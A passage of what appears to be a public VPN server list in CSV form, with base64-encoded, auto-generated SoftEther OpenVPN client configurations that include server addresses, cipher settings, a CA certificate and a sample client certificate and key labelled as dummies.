NCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjUuMTM2LjI4LjE3MiAxOTkyDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn934704167,114.199.242.157,664680,40,29677472,Korea Republic of,KR,5,95540195,90892,6600906060820,2weeks,Chribe88's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTQuMTk5LjI0Mi4xNTcgOTk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQS